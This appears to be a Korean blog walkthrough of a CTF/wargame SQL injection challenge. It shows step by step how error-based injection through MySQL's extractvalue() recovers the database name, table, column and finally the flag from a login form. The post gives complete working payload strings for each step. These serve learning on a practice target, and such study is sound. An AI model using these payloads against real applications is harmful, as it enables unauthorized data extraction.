워게임 문제풀이/Segfault

<Segfault> 워게임 문제풀이[6편] - SQL Injection3

무너박사 2024. 5. 31. 20:41

 

목표: DB 에 있는 flag 를 찾아라!


 

<1단계 : 탐색>

 

로그인 창 로그인 성공

일단 사이트를 탐색해준다.

기본적으로 SQLi 가 가능한지 확인하기 위해 문구를 넣어본다

<넣어준 문구 : normaltic' and '1'='1>

SQLi 가 먹히는것을 확인하였다.

 

로그인 시도 문법오류발생
 
 

 

DB를 직접적으로 탐색해야 하기 때문에 Error SQLi , Blind SQLi 중 하나를 택해야한다.

Error SQLi 가 되는지 확인하기 위해 의도적으로 논리오류를 일으켜 보자.

 

<넣어준 값 : normaltic' and extractvalue('1',(select ':test'))and '1'='1>

이로써

1. 논리오류를 활용할 수 있음을 알게 되었다.

2. select 문이 사용가능한 것을 확인했다.

 

이제 헷갈리지 않게 SQLi format 을 작성해보자.

 


<2단계 : Format 작성>

 

작성 Format :   normaltic' and extractvalue('1',concat(':',(SQL조건문))) and '1'='1

 

이제 필요한 SQL 질의문을 "SQL조건문" 부분에 넣어주면 된다!

 

 


<3단계 : DB 추출>

SQL 질의문 :  database()

 

완성된 질의문 : normaltic' and extractvalue('1',concat(0x3a,database())) and '1'='1

 

DB 의 이름이 'sqli_2' 인것을 알아냈다!

실행결과


<4단계 : Table 추출>

SQL 질의문: select table_name from information_schema.tables where table_schema='sqli_2' limit 0,1

 

완성된 질의문 : normaltic' and extractvalue('1',concat(':',(select table_name from information_schema.tables where table_schema='sqli_2' limit 0,1))) and '1'='1

 

<실행결과>

실행결과

 

table 이름이 flag_table 인것을 확인하였다.

 

 


<5단계 : Column 추출>

SQL 질의문 : select column_name from information_schema.columns where table_name='flag_table' limit 0,1

 

완성된 질의문 : normaltic' and extractvalue('1',concat(':',(select column_name from information_schema.columns where table_name='flag_table' limit 0,1))) and '1'='1

 

<실행결과>

 

실행결과

 

Column 이름이 flag 인것을 확인하였다.

 


<6단계 : 데이터 추출>

 

SQL 질의문: select flag from flag_table limit 0,1

 

완성된 질의문 : normaltic' and extractvalue('1',concat(':',(select flag from flag_table limit 0,1))) and '1'='1

 

 

Flag 를 흭득하였다!

 


 

리뷰 : 데이터를 하나하나 단계별로 찾아가는 것이다 보니 상당히 체력소모가 심하다.

하지만 확실히 format 을 작성한 상태로 대입하니깐 괄호문제도 크게 겪지않았고 , 상당히 편하게 진행하였다.

단계별 추출의 중요성 , Format 작성의 중요성 에 대하여 배울수 있었던 시간이었다.